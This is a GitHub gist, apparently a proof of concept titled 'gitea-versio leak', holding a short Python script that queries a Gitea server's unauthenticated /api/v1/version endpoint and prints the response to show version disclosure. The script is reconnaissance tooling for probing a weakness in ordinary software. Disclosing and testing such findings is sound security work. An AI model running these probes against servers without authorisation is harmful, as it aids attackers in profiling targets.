Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Select an option

  • Save HouqiyuA/50735ade87344e34f53a626b249feb82 to your computer and use it in GitHub Desktop.

Select an option

Save HouqiyuA/50735ade87344e34f53a626b249feb82 to your computer and use it in GitHub Desktop.
gitea-versio leak
import requests
def test_common_api_paths():
host = "GITEA_HOST"
port = 3000
base_url = f"http://{host}:{port}/api/v1"
headers = {
"Accept": "application/json"
}
common_paths = [
"version"
]
print("=== API Path Enumeration Test ===\n")
for path in common_paths:
url = f"{base_url}/{path}"
try:
response = requests.get(url, headers=headers)
status = response.status_code
print(f"[{status}] {url}")
if status in [200, 401, 403]:
print(f" → Response snippet: {response.text[:150]}...\n")
except Exception as e:
print(f"[ERROR] {url} - {str(e)}")
if __name__ == "__main__":
test_common_api_paths()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment